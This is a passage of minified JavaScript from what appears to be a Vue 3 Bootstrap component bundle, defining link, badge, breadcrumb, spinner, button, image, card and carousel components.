ive:{type:[Boolean,String],default:!1},activeClass:{type:String,default:\"router-link-active\"},append:{type:[Boolean,String],default:!1},disabled:{type:[Boolean,String],default:!1},event:{type:[String,Array],default:\"click\"},exact:{type:[Boolean,String],default:!1},exactActiveClass:{type:String,default:\"router-link-exact-active\"},href:{type:String},rel:{type:String,default:null},replace:{type:[Boolean,String],default:!1},routerComponentName:{type:String,default:\"router-link\"},routerTag:{type:String,default:\"a\"},target:{type:String,default:\"_self\"},to:{type:[String,Object],default:null}},hd=(0,a.pM)({props:pd,emits:[\"click\"],setup(e,{emit:t,attrs:n}){const r=cu((0,o.lW)(e,\"active\")),i=cu((0,o.lW)(e,\"append\")),l=cu((0,o.lW)(e,\"disabled\")),s=cu((0,o.lW)(e,\"exact\")),u=cu((0,o.lW)(e,\"replace\")),d=(0,a.nI)(),c=(0,o.KR)(null),f=(0,a.EW)(()=>{const t=e.routerComponentName.split(\"-\").map(e=>e.charAt(0).toUpperCase()+e.slice(1)).join(\"\");return void 0===(null==d?void 0:d.appContext.app.component(t))||l.value||!e.to?\"a\":e.routerComponentName}),p=(0,a.EW)(()=>{const t=\"#\";if(e.href)return e.href;if(\"string\"==typeof e.to)return e.to||t;const n=e.to;if(\"[object Object]\"===Object.prototype.toString.call(n)&&(n.path||n.query||n.hash)){const e=n.path||\"\",r=n.query?`?${Object.keys(n.query).map(e=>`${e}=${n.query[e]}`).join(\"=\")}`:\"\",a=n.hash&&\"#\"!==n.hash.charAt(0)?`#${n.hash}`:n.hash||\"\";return`${e}${r}${a}`||t}return t}),h=(0,a.EW)(()=>({to:e.to,href:p.value,target:e.target,rel:\"_blank\"===e.target&&null===e.rel?\"noopener\":e.rel||null,tabindex:l.value?\"-1\":typeof n.tabindex>\"u\"?null:n.tabindex,\"aria-disabled\":l.value?\"true\":null}));return{tag:f,routerAttr:h,link:c,clicked:e=>{if(l.value)return e.preventDefault(),void e.stopImmediatePropagation();t(\"click\",e)},activeBoolean:r,appendBoolean:i,disabledBoolean:l,replaceBoolean:u,exactBoolean:s}}}),vd=(e,t)=>{const n=e.__vccOpts||e;for(const[r,a]of t)n[r]=a;return n};function md(e,t,n,r,o,i){return\"router-link\"===e.tag?((0,a.uX)(),(0,a.Wv)((0,a.$y)(e.tag),(0,a.v6)({key:0},e.routerAttr,{custom:\"\"}),{default:(0,a.k6)(({href:t,navigate:n,isActive:r,isExactActive:o})=>[((0,a.uX)(),(0,a.Wv)((0,a.$y)(e.routerTag),(0,a.v6)({ref:\"link\",href:t,class:[(r||e.activeBoolean)&&e.activeClass,(o||e.exactBoolean)&&e.exactActiveClass]},e.$attrs,{onClick:n}),{default:(0,a.k6)(()=>[(0,a.RG)(e.$slots,\"default\")]),_:2},1040,[\"href\",\"class\",\"onClick\"]))]),_:3},16)):((0,a.uX)(),(0,a.Wv)((0,a.$y)(e.tag),(0,a.v6)({key:1,ref:\"link\",class:{active:e.activeBoolean,disabled:e.disabledBoolean}},e.routerAttr,{onClick:e.clicked}),{default:(0,a.k6)(()=>[(0,a.RG)(e.$slots,\"default\")]),_:3},16,[\"class\",\"onClick\"]))}const gd=vd(hd,[[\"render\",md]]),yd=ds(pd,[\"event\",\"routerTag\"]),bd=(0,a.pM)({components:{BLink:gd},props:{pill:{type:[Boolean,String],default:!1},tag:{type:String,default:\"span\"},variant:{type:String,default:\"secondary\"},textIndicator:{type:[Boolean,String],default:!1},dotIndicator:{type:[Boolean,String],default:!1},...yd},setup(e){const t=(0,a.EW)(()=>du(e)),n=(0,a.EW)(()=>t.value?gd:e.tag),r=cu((0,o.lW)(e,\"pill\")),i=cu((0,o.lW)(e,\"textIndicator\")),l=cu((0,o.lW)(e,\"dotIndicator\"));return{classes:(0,a.EW)(()=>({[`bg-${e.variant}`]:e.variant,active:e.active,disabled:e.disabled,\"text-dark\":[\"warning\",\"info\",\"light\"].includes(e.variant),\"rounded-pill\":r.value,\"position-absolute top-0 start-100 translate-middle\":i.value||l.value,\"p-2 border border-light rounded-circle\":l.value,\"text-decoration-none\":t.value})),props:t.value?su(e,yd):{},computedTag:n}}});function $d(e,t,n,r,o,i){return(0,a.uX)(),(0,a.Wv)((0,a.$y)(e.computedTag),(0,a.v6)({class:[\"badge\",e.classes]},e.props),{default:(0,a.k6)(()=>[(0,a.RG)(e.$slots,\"default\")]),_:3},16,[\"class\"])}const wd=vd(bd,[[\"render\",$d]]),_d=ds(pd,[\"event\",\"routerTag\"]),kd=(0,a.pM)({components:{BLink:gd},props:{..._d,active:{type:[Boolean,String],default:!1},ariaCurrent:{type:String,default:\"location\"},disabled:{type:[Boolean,String],default:!1},text:{type:String,required:!1}},emits:[\"click\"],setup(e,{emit:t}){const n=cu((0,o.lW)(e,\"active\")),r=cu((0,o.lW)(e,\"disabled\")),i=(0,a.EW)(()=>({active:n.value})),l=(0,a.EW)(()=>n.value?\"span\":gd),s=(0,a.EW)(()=>n.value?e.ariaCurrent:void 0),u=e=>{if(r.value||n.value)return e.preventDefault(),void e.stopImmediatePropagation();r.value||t(\"click\",e)};return{props:\"span\"!==l.value?su(e,_d):{},liClasses:i,computedTag:l,computedAriaCurrent:s,clicked:u}}});function Cd(e,t,n,r,o,l){return(0,a.uX)(),(0,a.CE)(\"li\",{class:(0,i.C4)([\"breadcrumb-item\",e.liClasses])},[((0,a.uX)(),(0,a.Wv)((0,a.$y)(e.computedTag),(0,a.v6)({\"aria-current\":e.computedAriaCurrent},e.props,{onClick:e.clicked}),{default:(0,a.k6)(()=>[(0,a.RG)(e.$slots,\"default\",{},()=>[(0,a.eW)((0,i.v_)(e.text),1)])]),_:3},16,[\"aria-current\",\"onClick\"]))],2)}const xd=vd(kd,[[\"render\",Cd]]),Sd={\"aria-label\":\"breadcrumb\"},Ed={class:\"breadcrumb\"},Td=(0,a.pM)({__name:\"BBreadcrumb\",props:{items:null},setup(e){const t=e,n=vu(),r=(0,a.EW)(()=>{const e=t.items||(null==n?void 0:n.items)||[];let r=!1;return e.map((t,n)=>(\"string\"==typeof t&&(t={text:t},n\u003Ce.length-1&&(t.href=\"#\")),t.active&&(r=!0),!t.active&&!r&&(t.active=n+1===e.length),t))});return(e,t)=>((0,a.uX)(),(0,a.CE)(\"nav\",Sd,[(0,a.Lk)(\"ol\",Ed,[(0,a.RG)(e.$slots,\"prepend\"),((0,a.uX)(!0),(0,a.CE)(a.FK,null,(0,a.pI)((0,o.R1)(r),(e,t)=>((0,a.uX)(),(0,a.Wv)(xd,(0,a.v6)({key:t},e),{default:(0,a.k6)(()=>[(0,a.eW)((0,i.v_)(e.text),1)]),_:2},1040))),128)),(0,a.RG)(e.$slots,\"default\"),(0,a.RG)(e.$slots,\"append\")])]))}}),Rd={key:0,class:\"visually-hidden\"},Od=(0,a.pM)({__name:\"BSpinner\",props:{label:null,role:{default:\"status\"},small:{default:!1},tag:{default:\"span\"},type:{default:\"border\"},variant:null},setup(e){const t=e,n=cu((0,o.lW)(t,\"small\")),r=(0,a.EW)(()=>({\"spinner-border\":\"border\"===t.type,\"spinner-border-sm\":\"border\"===t.type&&n.value,\"spinner-grow\":\"grow\"===t.type,\"spinner-grow-sm\":\"grow\"===t.type&&n.value,[`text-${t.variant}`]:void 0!==t.variant}));return(t,n)=>((0,a.uX)(),(0,a.Wv)((0,a.$y)(e.tag),{class:(0,i.C4)((0,o.R1)(r)),role:e.label||t.$slots.label?e.role:null,\"aria-hidden\":!e.label&&!t.$slots.label||null},{default:(0,a.k6)(()=>[e.label||t.$slots.label?((0,a.uX)(),(0,a.CE)(\"span\",Rd,[(0,a.RG)(t.$slots,\"label\",{},()=>[(0,a.eW)((0,i.v_)(e.label),1)])])):(0,a.Q3)(\"\",!0)]),_:3},8,[\"class\",\"role\",\"aria-hidden\"]))}}),Md=(0,a.pM)({components:{BLink:gd,BSpinner:Od},props:{...pd,active:{type:[Boolean,String],default:!1},disabled:{type:[Boolean,String],default:!1},href:{type:String,required:!1},pill:{type:[Boolean,String],default:!1},pressed:{type:[Boolean,String],default:!1},rel:{type:String,default:void 0},size:{type:String,default:\"md\"},squared:{type:[Boolean,String],default:!1},tag:{type:String,default:\"button\"},target:{type:String,default:\"_self\"},type:{type:String,default:\"button\"},variant:{type:String,default:\"secondary\"},loading:{type:[Boolean,String],default:!1},loadingMode:{type:String,default:\"inline\"}},emits:[\"click\",\"update:pressed\"],setup(e,{emit:t}){const n=cu((0,o.lW)(e,\"active\")),r=cu((0,o.lW)(e,\"disabled\")),i=cu((0,o.lW)(e,\"pill\")),l=cu((0,o.lW)(e,\"pressed\")),s=cu((0,o.lW)(e,\"squared\")),u=cu((0,o.lW)(e,\"loading\")),d=(0,a.EW)(()=>!0===l.value),c=(0,a.EW)(()=>\"button\"===e.tag&&void 0===e.href&&null===e.to),f=(0,a.EW)(()=>du(e)),p=(0,a.EW)(()=>null!==e.to),h=(0,a.EW)(()=>void 0===e.href&&!c.value),v=(0,a.EW)(()=>({[`btn-${e.variant}`]:!!e.variant,[`btn-${e.size}`]:!!e.size,active:n.value||l.value,\"rounded-pill\":i.value,\"rounded-0\":s.value,disabled:r.value})),m=(0,a.EW)(()=>({\"aria-disabled\":h.value?r.value:null,\"aria-pressed\":d.value?l.value:null,autocomplete:d.value?\"off\":null,disabled:c.value?r.value:null,href:e.href,rel:f.value?e.rel:null,role:h.value||f.value?\"button\":null,target:f.value?e.target:null,type:c.value?e.type:null,to:c.value?null:e.to,append:f.value?e.append:null,activeClass:p.value?e.activeClass:null,event:p.value?e.event:null,exact:p.value?e.exact:null,exactActiveClass:p.value?e.exactActiveClass:null,replace:p.value?e.replace:null,routerComponentName:p.value?e.routerComponentName:null,routerTag:p.value?e.routerTag:null})),g=(0,a.EW)(()=>p.value?gd:e.href?\"a\":e.tag);return{classes:v,attrs:m,computedTag:g,clicked:e=>{if(r.value)return e.preventDefault(),void e.stopPropagation();t(\"click\",e),d.value&&t(\"update:pressed\",!l.value)},loadingBoolean:u}}});function Ad(e,t,n,r,o,l){const s=(0,a.g2)(\"b-spinner\");return(0,a.uX)(),(0,a.Wv)((0,a.$y)(e.computedTag),(0,a.v6)({class:[\"btn\",e.classes]},e.attrs,{onClick:e.clicked}),{default:(0,a.k6)(()=>[e.loadingBoolean?((0,a.uX)(),(0,a.CE)(\"div\",{key:0,class:(0,i.C4)([\"btn-loading\",{\"mode-fill\":\"fill\"===e.loadingMode,\"mode-inline\":\"inline\"===e.loadingMode}])},[(0,a.RG)(e.$slots,\"loading\",{},()=>[(0,a.bF)(s,{class:\"btn-spinner\",small:\"lg\"!==e.size},null,8,[\"small\"])])],2)):(0,a.Q3)(\"\",!0),(0,a.Lk)(\"div\",{class:(0,i.C4)([\"btn-content\",{\"btn-loading-fill\":e.loadingBoolean&&\"fill\"===e.loadingMode}])},[(0,a.RG)(e.$slots,\"default\")],2)]),_:3},16,[\"class\",\"onClick\"])}const Dd=vd(Md,[[\"render\",Ad]]),Wd=(0,a.pM)({__name:\"BButtonGroup\",props:{ariaLabel:{default:\"Group\"},size:null,tag:{default:\"div\"},vertical:{default:!1}},setup(e){const t=e,n=cu((0,o.lW)(t,\"vertical\")),r=(0,a.EW)(()=>({\"btn-group\":!n.value&&void 0===t.size,[`btn-group-${t.size}`]:void 0!==t.size,\"btn-group-vertical\":n.value}));return(t,n)=>((0,a.uX)(),(0,a.Wv)((0,a.$y)(e.tag),{class:(0,i.C4)((0,o.R1)(r)),role:\"group\",\"aria-label\":e.ariaLabel},{default:(0,a.k6)(()=>[(0,a.RG)(t.$slots,\"default\")]),_:3},8,[\"class\",\"aria-label\"]))}}),Bd=[\"role\",\"aria-label\"],Pd=(0,a.pM)({__name:\"BButtonToolbar\",props:{ariaLabel:{default:\"Group\"},justify:{default:!1},role:{default:\"toolbar\"}},setup(e){const t=cu((0,o.lW)(e,\"justify\")),n=(0,a.EW)(()=>({\"justify-content-between\":t.value}));return(t,r)=>((0,a.uX)(),(0,a.CE)(\"div\",{class:(0,i.C4)([(0,o.R1)(n),\"btn-toolbar\"]),role:e.role,\"aria-label\":e.ariaLabel},[(0,a.RG)(t.$slots,\"default\")],10,Bd))}}),Id=(0,a.pM)({__name:\"BImg\",props:{alt:null,blank:{default:!1},blankColor:{default:\"transparent\"},block:{default:!1},center:{default:!1},fluid:{default:!1},lazy:{default:!1},fluidGrow:{default:!1},height:null,left:{default:!1},start:{default:!1},right:{default:!1},end:{default:!1},rounded:{type:[Boolean,String],default:!1},sizes:null,src:null,srcset:null,thumbnail:{default:!1},width:null},emits:[\"load\"],setup(e,{emit:t}){const n=e,r=cu((0,o.lW)(n,\"lazy\")),i=cu((0,o.lW)(n,\"blank\")),l=cu((0,o.lW)(n,\"block\")),s=cu((0,o.lW)(n,\"center\")),u=cu((0,o.lW)(n,\"fluid\")),d=cu((0,o.lW)(n,\"fluidGrow\")),c=cu((0,o.lW)(n,\"left\")),f=cu((0,o.lW)(n,\"start\")),p=cu((0,o.lW)(n,\"right\")),h=cu((0,o.lW)(n,\"end\")),v=cu((0,o.lW)(n,\"thumbnail\")),m='\u003Csvg width=\"%{w}\" height=\"%{h}\" xmlns=\"http:\u002F\u002Fwww.w3.org\u002F2000\u002Fsvg\" viewBox=\"0 0 %{w} %{h}\" preserveAspectRatio=\"none\">\u003Crect width=\"100%\" height=\"100%\" style=\"fill:%{f};\">\u003C\u002Frect>\u003C\u002Fsvg>',g=(e,t,n)=>`data:image\u002Fsvg+xml;charset=UTF-8,${encodeURIComponent(m.replace(\"%{w}\",String(e)).replace(\"%{h}\",String(t)).replace(\"%{f}\",n))}`,y=(0,a.EW)(()=>\"string\"==typeof n.srcset?n.srcset.split(\",\").filter(e=>e).join(\",\"):Array.isArray(n.srcset)?n.srcset.filter(e=>e).join(\",\"):void 0),b=(0,a.EW)(()=>\"string\"==typeof n.sizes?n.sizes.split(\",\").filter(e=>e).join(\",\"):Array.isArray(n.sizes)?n.sizes.filter(e=>e).join(\",\"):void 0),$=(0,a.EW)(()=>{const e=e=>void 0===e?void 0:\"number\"==typeof e?e:Number.parseInt(e,10)||void 0,t=e(n.width),r=e(n.height);if(i.value){if(void 0!==t&&void 0===r)return{height:t,width:t};if(void 0===t&&void 0!==r)return{height:r,width:r};if(void 0===t&&void 0===r)return{height:1,width:1}}return{width:t,height:r}}),w=(0,a.EW)(()=>g($.value.width,$.value.height,n.blankColor)),_=(0,a.EW)(()=>({src:i.value?w.value:n.src,alt:n.alt,width:$.value.width||void 0,height:$.value.height||void 0,srcset:i.value?void 0:y.value,sizes:i.value?void 0:b.value,loading:r.value?\"lazy\":\"eager\"})),k=(0,a.EW)(()=>c.value||f.value?\"float-start\":p.value||h.value?\"float-end\":s.value?\"mx-auto\":void 0),C=(0,a.EW)(()=>({\"img-thumbnail\":v.value,\"img-fluid\":u.value||d.value,\"w-100\":d.value,rounded:\"\"===n.rounded||!0===n.rounded,[`rounded-${n.rounded}`]:\"string\"==typeof n.rounded&&\"\"!==n.rounded,[`${k.value}`]:void 0!==k.value,\"d-block\":l.value||s.value}));return(e,n)=>((0,a.uX)(),(0,a.CE)(\"img\",(0,a.v6)({class:(0,o.R1)(C)},(0,o.R1)(_),{onLoad:n[0]||(n[0]=e=>t(\"load\",e))}),null,16))}}),Nd=(0,a.pM)({__name:\"BCardImg\",props:{alt:null,blank:{default:!1},blankColor:null,bottom:{default:!1},lazy:{default:!1},height:null,left:{default:!1},start:{default:!1},right:{default:!1},end:{default:!1},sizes:null,src:null,srcset:null,top:{default:!1},width:null},emits:[\"load\"],setup(e,{emit:t}){const n=e,r=cu((0,o.lW)(n,\"bottom\")),i=cu((0,o.lW)(n,\"end\")),l=cu((0,o.lW)(n,\"left\")),s=cu((0,o.lW)(n,\"right\")),u=cu((0,o.lW)(n,\"start\")),d=cu((0,o.lW)(n,\"top\")),c=(0,a.EW)(()=>d.value?\"card-img-top\":s.value||i.value?\"card-img-right\":r.value?\"card-img-bottom\":l.value||u.value?\"card-img-left\":\"card-img\"),f=(0,a.EW)(()=>({alt:n.alt,height:n.height,src:n.src,lazy:n.lazy,width:n.width,blank:n.blank,blankColor:n.blankColor,sizes:n.sizes,srcset:n.srcset})),p=(0,a.EW)(()=>[c.value]);return(e,n)=>((0,a.uX)(),(0,a.Wv)(Id,(0,a.v6)({class:(0,o.R1)(p)},(0,o.R1)(f),{onLoad:n[0]||(n[0]=e=>t(\"load\",e))}),null,16,[\"class\"]))}}),Ld=[\"innerHTML\"],jd=(0,a.pM)({__name:\"BCardHeadFoot\",props:{text:null,bgVariant:null,borderVariant:null,html:null,tag:{default:\"div\"},textVariant:null},setup(e){const t=e,n=(0,a.EW)(()=>({[`text-${t.textVariant}`]:void 0!==t.textVariant,[`bg-${t.bgVariant}`]:void 0!==t.bgVariant,[`border-${t.borderVariant}`]:void 0!==t.borderVariant}));return(t,r)=>((0,a.uX)(),(0,a.Wv)((0,a.$y)(e.tag),{class:(0,i.C4)((0,o.R1)(n))},{default:(0,a.k6)(()=>[e.html?((0,a.uX)(),(0,a.CE)(\"div\",{key:0,innerHTML:e.html},null,8,Ld)):(0,a.RG)(t.$slots,\"default\",{key:1},()=>[(0,a.eW)((0,i.v_)(e.text),1)])]),_:3},8,[\"class\"]))}}),Fd=(0,a.pM)({__name:\"BCardHeader\",props:{text:null,bgVariant:null,borderVariant:null,html:null,tag:{default:\"div\"},textVariant:null},setup(e){return(e,t)=>((0,a.uX)(),(0,a.Wv)(jd,(0,a.v6)({class:\"card-header\"},e.$props),{default:(0,a.k6)(()=>[(0,a.RG)(e.$slots,\"default\")]),_:3},16))}}),Vd=(0,a.pM)({__name:\"BCardTitle\",props:{text:null,tag:{default:\"h4\"}},setup(e){return(t,n)=>((0,a.uX)(),(0,a.Wv)((0,a.$y)(e.tag),{class:\"card-title\"},{default:(0,a.k6)(()=>[(0,a.RG)(t.$slots,\"default\",{},()=>[(0,a.eW)((0,i.v_)(e.text),1)])]),_:3}))}}),Ud=(0,a.pM)({__name:\"BCardSubtitle\",props:{text:null,tag:{default:\"h6\"},textVariant:{default:\"muted\"}},setup(e){const t=e,n=(0,a.EW)(()=>({[`text-${t.textVariant}`]:!!t.textVariant}));return(t,r)=>((0,a.uX)(),(0,a.Wv)((0,a.$y)(e.tag),{class:(0,i.C4)([\"card-subtitle mb-2\",(0,o.R1)(n)])},{default:(0,a.k6)(()=>[(0,a.RG)(t.$slots,\"default\",{},()=>[(0,a.eW)((0,i.v_)(e.text),1)])]),_:3},8,[\"class\"]))}}),Xd=(0,a.pM)({__name:\"BCardBody\",props:{bodyBgVariant:null,bodyTag:{default:\"div\"},bodyTextVariant:null,overlay:{default:!1},subtitle:null,subtitleTag:{default:\"h4\"},subtitleTextVariant:null,title:null,titleTag:{default:\"h4\"},text:null},setup(e){const t=e,n=cu((0,o.lW)(t,\"overlay\")),r=(0,a.EW)(()=>({\"card-img-overlay\":n.value,[`text-${t.bodyTextVariant}`]:void 0!==t.bodyTextVariant,[`bg-${t.bodyBgVariant}`]:void 0!==t.bodyBgVariant}));return(t,n)=>((0,a.uX)(),(0,a.Wv)((0,a.$y)(e.bodyTag),{class:(0,i.C4)([\"card-body\",(0,o.R1)(r)])},{default:(0,a.k6)(()=>[e.title||t.$slots.title?((0,a.uX)(),(0,a.Wv)(Vd,{key:0,tag:e.titleTag},{default:(0,a.k6)(()=>[(0,a.RG)(t.$slots,\"title\",{},()=>[(0,a.eW)((0,i.v_)(e.title),1)])]),_:3},8,[\"tag\"])):(0,a.Q3)(\"\",!0),e.subtitle||t.$slots.subtitle?((0,a.uX)(),(0,a.Wv)(Ud,{key:1,tag:e.subtitleTag,\"text-variant\":e.subtitleTextVariant},{default:(0,a.k6)(()=>[(0,a.RG)(t.$slots,\"subtitle\",{},()=>[(0,a.eW)((0,i.v_)(e.subtitle),1)])]),_:3},8,[\"tag\",\"text-variant\"])):(0,a.Q3)(\"\",!0),(0,a.RG)(t.$slots,\"default\",{},()=>[(0,a.eW)((0,i.v_)(e.text),1)])]),_:3},8,[\"class\"]))}}),Hd=(0,a.pM)({__name:\"BCardFooter\",props:{text:null,bgVariant:null,borderVariant:null,html:null,tag:{default:\"div\"},textVariant:null},setup(e){return(t,n)=>((0,a.uX)(),(0,a.Wv)(jd,(0,a.v6)({class:\"card-footer\"},t.$props),{default:(0,a.k6)(()=>[(0,a.RG)(t.$slots,\"default\",{},()=>[(0,a.eW)((0,i.v_)(e.text),1)])]),_:3},16))}}),Gd=(0,a.pM)({__name:\"BCard\",props:{align:null,bgVariant:null,bodyBgVariant:null,bodyClass:null,bodyTag:{default:\"div\"},bodyTextVariant:null,borderVariant:null,footer:null,footerBgVariant:null,footerBorderVariant:null,footerClass:null,footerHtml:{default:\"\"},footerTag:{default:\"div\"},footerTextVariant:null,header:null,headerBgVariant:null,headerBorderVariant:null,headerClass:null,headerHtml:{default:\"\"},headerTag:{default:\"div\"},headerTextVariant:null,imgAlt:null,imgBottom:{default:!1},imgEnd:{default:!1},imgHeight:null,imgLeft:{default:!1},imgRight:{default:!1},imgSrc:null,imgStart:{default:!1},imgTop:{default:!1},imgWidth:null,noBody:{default:!1},overlay:{default:!1},subtitle:null,subtitleTag:{default:\"h6\"},subtitleTextVariant:{default:\"muted\"},tag:{default:\"div\"},textVariant:null,title:null,titleTag:{default:\"h4\"},bodyText:{default:\"\"}},setup(e){const t=e,n=cu((0,o.lW)(t,\"imgBottom\")),r=cu((0,o.lW)(t,\"imgEnd\")),l=cu((0,o.lW)(t,\"imgLeft\")),s=cu((0,o.lW)(t,\"imgRight\")),u=cu((0,o.lW)(t,\"imgStart\")),d=cu((0,o.lW)(t,\"noBody\")),c=(0,a.EW)(()=>({[`text-${t.align}`]:void 0!==t.align,[`text-${t.textVariant}`]:void 0!==t.textVariant,[`bg-${t.bgVariant}`]:void 0!==t.bgVariant,[`border-${t.borderVariant}`]:void 0!==t.borderVariant,\"flex-row\":l.value||u.value,\"flex-row-reverse\":r.value||s.value})),f=(0,a.EW)(()=>({bgVariant:t.headerBgVariant,borderVariant:t.headerBorderVariant,html:t.headerHtml,tag:t.headerTag,textVariant:t.headerTextVariant})),p=(0,a.EW)(()=>({overlay:t.overlay,bodyBgVariant:t.bodyBgVariant,bodyTag:t.bodyTag,bodyTextVariant:t.bodyTextVariant,subtitle:t.subtitle,subtitleTag:t.subtitleTag,subtitleTextVariant:t.subtitleTextVariant,title:t.title,titleTag:t.titleTag})),h=(0,a.EW)(()=>({bgVariant:t.footerBgVariant,borderVariant:t.footerBorderVariant,html:t.footerHtml,tag:t.footerTag,textVariant:t.footerTextVariant})),v=(0,a.EW)(()=>({src:t.imgSrc,alt:t.imgAlt,height:t.imgHeight,width:t.imgWidth,bottom:t.imgBottom,end:t.imgEnd,left:t.imgLeft,right:t.imgRight,start:t.imgStart,top:t.imgTop}));return(t,r)=>((0,a.uX)(),(0,a.Wv)((0,a.$y)(e.tag),{class:(0,i.C4)([\"card\",(0,o.R1)(c)])},{default:(0,a.k6)(()=>[(0,o.R1)(n)?(0,a.Q3)(\"\",!0):(0,a.RG)(t.$slots,\"img\",{key:0},()=>[e.imgSrc?((0,a.uX)(),(0,a.Wv)(Nd,(0,i._B)((0,a.v6)({key:0},(0,o.R1)(v))),null,16)):(0,a.Q3)(\"\",!0)]),e.header||t.$slots.header||e.headerHtml?((0,a.uX)(),(0,a.Wv)(Fd,(0,a.v6)({key:1},(0,o.R1)(f),{class:e.headerClass}),{default:(0,a.k6)(()=>[(0,a.RG)(t.$slots,\"header\",{},()=>[(0,a.eW)((0,i.v_)(e.header),1)])]),_:3},16,[\"class\"])):(0,a.Q3)(\"\",!0),(0,o.R1)(d)?(0,a.RG)(t.$slots,\"default\",{key:3},()=>[(0,a.eW)((0,i.v_)(e.bodyText),1)]):((0,a.uX)(),(0,a.Wv)(Xd,(0,a.v6)({key:2},(0,o.R1)(p),{class:e.bodyClass}),{default:(0,a.k6)(()=>[(0,a.RG)(t.$slots,\"default\",{},()=>[(0,a.eW)((0,i.v_)(e.bodyText),1)])]),_:3},16,[\"class\"])),e.footer||t.$slots.footer||e.footerHtml?((0,a.uX)(),(0,a.Wv)(Hd,(0,a.v6)({key:4},(0,o.R1)(h),{class:e.footerClass}),{default:(0,a.k6)(()=>[(0,a.RG)(t.$slots,\"footer\",{},()=>[(0,a.eW)((0,i.v_)(e.footer),1)])]),_:3},16,[\"class\"])):(0,a.Q3)(\"\",!0),(0,o.R1)(n)?(0,a.RG)(t.$slots,\"img\",{key:5},()=>[e.imgSrc?((0,a.uX)(),(0,a.Wv)(Nd,(0,i._B)((0,a.v6)({key:0},(0,o.R1)(v))),null,16)):(0,a.Q3)(\"\",!0)]):(0,a.Q3)(\"\",!0)]),_:3},8,[\"class\"]))}}),Yd=(0,a.pM)({__name:\"BCardGroup\",props:{columns:{default:!1},deck:{default:!1},tag:{default:\"div\"}},setup(e){const t=e,n=cu((0,o.lW)(t,\"columns\")),r=cu((0,o.lW)(t,\"deck\")),l=(0,a.EW)(()=>r.value?\"card-deck\":n.value?\"card-columns\":\"card-group\"),s=(0,a.EW)(()=>({[l.value]:!!l.value}));return(t,n)=>((0,a.uX)(),(0,a.Wv)((0,a.$y)(e.tag),{class:(0,i.C4)((0,o.R1)(s))},{default:(0,a.k6)(()=>[(0,a.RG)(t.$slots,\"default\")]),_:3},8,[\"class\"]))}}),zd=(0,a.pM)({__name:\"BCardText\",props:{text:null,tag:{default:\"p\"}},setup(e){return(t,n)=>((0,a.uX)(),(0,a.Wv)((0,a.$y)(e.tag),{class:\"card-text\"},{default:(0,a.k6)(()=>[(0,a.RG)(t.$slots,\"default\",{},()=>[(0,a.eW)((0,i.v_)(e.text),1)])]),_:3}))}}),Kd=[\"id\"],qd={key:0,class:\"carousel-indicators\"},Qd=[\"data-bs-target\",\"data-bs-slide-to\",\"aria-label\"],Zd={class:\"carousel-inner\"},Jd=[\"data-bs-target\"],ec=(0,a.Lk)(\"span\",{class:\"carousel-control-prev-icon\",\"aria-hidden\":\"true\"},null,-1),tc={class:\"visually-hidden\"},nc=[\"data-bs-target\"],rc=(0,a.Lk)(\"span\",{class:\"carousel-control-next-icon\",\"aria-hidden\":\"true\"},null,-1),ac={class:\"visually-hidden\"},oc=Symbol(),ic=(0,a.pM)({__name:\"BCarousel\",props:{startingSlide:{default:0},id:null,imgHeight:null,imgWidth:null,background:null,modelValue:{default:0},controls:{default:!1},indicators:{default:!1},interval:{default:5e3},noTouch:{default:!1},noWrap:{default:!1},controlsPrevText:{default:\"Previous\"},controlsNextText:{default:\"Next\"},indicatorsButtonLabel:{default:\"Slide\"}},emits:[\"sliding-start\",\"sliding-end\"],setup(e,{emit:t}){const n=e,r=cu((0,o.lW)(n,\"controls\")),l=cu((0,o.lW)(n,\"indicators\")),s=cu((0,o.lW)(n,\"noTouch\"));cu((0,o.lW)(n,\"noWrap\"));const u=(0,a.Ht)(),d=(0,o.KR)(),c=(0,o.KR)(),f=xu((0,o.lW)(n,\"id\"),\"carousel\"),p=(0,o.KR)([]);return mu(d,\"slide.bs.carousel\",e=>t(\"sliding-start\",e)),mu(d,\"slid.bs.carousel\",e=>t(\"sliding-end\",e)),(0,a.sV)(()=>{c.value=new Rr(d.value,{wrap:!s.value,interval:n.interval,touch:!s.value}),u.default&&(p.value=u.default().filter(e=>{var t;return\"BCarouselSlide\"===(null==(t=e.type)?void 0:t.__name)}))}),(0,a.Gt)(oc,{background:n.background,width:n.imgWidth,height:n.imgHeight}),(t,n)=>((0,a.uX)(),(0,a.CE)(\"div\",{id:(0,o.R1)(f),ref_key:\"element\",ref:d,class:\"carousel slide\",\"data-bs-ride\":\"carousel\"},[(0,o.R1)(l)?((0,a.uX)(),(0,a.CE)(\"div\",qd,[((0,a.uX)(!0),(0,a.CE)(a.FK,null,(0,a.pI)(p.value,(t,n)=>((0,a.uX)(),(0,a.CE)(\"button\",{key:n,type:\"button\",\"data-bs-target\":`#${(0,o.R1)(f)}`,\"data-bs-slide-to\":n,class:(0,i.C4)(n===e.startingSlide?\"active\":\"\"),\"aria-current\":\"true\",\"aria-label\":`${e.indicatorsButtonLabel} ${n}`},null,10,Qd))),128))])):(0,a.Q3)(\"\",!0),(0,a.Lk)(\"div\",Zd,[(0,a.RG)(t.$slots,\"default\")]),(0,o.R1)(r)?((0,a.uX)(),(0,a.CE)(a.FK,{key:1},[(0,a.Lk)(\"button\",{class:\"carousel-control-prev\",type:\"button\",\"data-bs-target\":`#${(0,o.R1)(f)}`,\"data-bs-slide\":\"prev\"},[ec,(0,a.Lk)(\"span\",tc,(0,i.v_)(e.controlsPrevText),1)],8,Jd),(0,a.Lk)(\"button\",{class:\"carousel-control-next\",type:\"button\",\"data-bs-target\":`#${(0,o.R1)(f)}`,\"data-bs-slide\":\"next\"},[rc,(0,a.Lk)(\"span\",ac,(0,i.v_)(e.controlsNextText),1)],8,nc)],64)):(0,a.Q3)(\"\",!0)],8,Kd))}}),lc=[\"data-bs-interval\"],sc=[\"innerHTML\"],uc={key:1},dc=[\"innerHTML\"],cc={key:1},fc=(0,a.pM)({__name:\"BCarouselSlide\",props:{imgSrc:null,imgHeight:null,imgWidth:null,interval:null,active:{default:!1},background:null,caption:null,captionHtml:null,captionTag:{default:\"h3\"},contentTag:{default:\"div\"},contentVisibleUp:null,id:null,imgAlt:null,imgBlank:{default:!1},imgBlankColor:{default:\"transparent\"},text:null,textHtml:null,textTag:{default:\"p\"}},setup(e){const t=e,n=cu((0,o.lW)(t,\"active\")),r=cu((0,o.lW)(t,\"imgBlank\")),l=(0,a.WQ)(oc,{});(0,a.EW)(()=>r.value?r.value:t.imgSrc);const s=(0,a.EW)(()=>({background:`${t.background||l.background||\"rgb(171, 171, 171)\"} none repeat scroll 0% 